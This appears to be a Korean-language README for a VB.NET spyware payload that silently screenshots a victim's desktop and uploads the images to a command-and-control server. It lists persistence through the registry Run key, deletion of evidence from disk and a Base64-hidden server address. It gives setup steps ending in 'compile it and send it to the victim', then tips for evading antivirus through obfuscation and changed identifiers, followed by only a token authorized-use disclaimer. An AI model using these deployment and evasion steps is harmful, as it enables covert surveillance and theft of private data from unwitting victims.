Mr.Peter

자동 스크린샷 캡처 | 포스트 익스플로잇 페이로드 | VB.NET

피해자 데스크탑의 스크린샷을 찍어 C&C에 업로드하는 간단한 페이로드입니다.

특징:

• 영구(레지스트리 실행 키 사용)
• 백그라운드에서 작동
• 코드가 적고 버그가 적고 감지가 적습니다.)
• C&C에 업로드한 스크린샷을 디스크에서 삭제합니다.
• Base64의 C&C 서버
• C&C에 스크린샷을 체계적으로 업로드하세요.
• 포트 포워딩이 필요하지 않습니다! 단일 PHP 파일로 작동
• [TODO] 머신 정보
• [해야할 일] 암호화
• [TODO] C&C에서 원격으로 간격 설정

설치 및 사용법:

• 이 저장소를 복제하세요.
• 내가 추천하는 웹호스팅 namecheap
• public_html 폴더로 이동하여 새 PHP 파일을 만들고 아래 코드를 입력하세요.

• Visual Studio에서 프로젝트를 열고 소스 코드에서 아래 변수를 편집합니다.

 Dim server As String = BaseDecode1("your server address here in base64 encoded") 

• 아래에서도 이 변수를 편집하세요.

 Dim php As String = "yourphpfilename.php?" & "folder="

• 그냥 컴파일해서 피해자에게 보내면 끝입니다!!

백만 달러짜리 조언;)

바이러스 백신 탐지를 방지하려면

• 앱 아이콘 변경
• 새 GUID 생성
• 모든 변수를 변경합니다.
• Obfuscar를 사용하여 코드 난독화
• 어셈블리 정보 변경

기부:

이 도구가 도움이 되었다면, 저에게 커피 한 잔 사주셔서 감사하다고 말씀해주세요 :)

부인 성명:

이 도구는 인증된 시스템에서만 사용해야 합니다. 명시적인 허가 없이 이 도구를 무단으로 사용하는 것은 불법입니다.

특허:

GNU 일반 공중 라이선스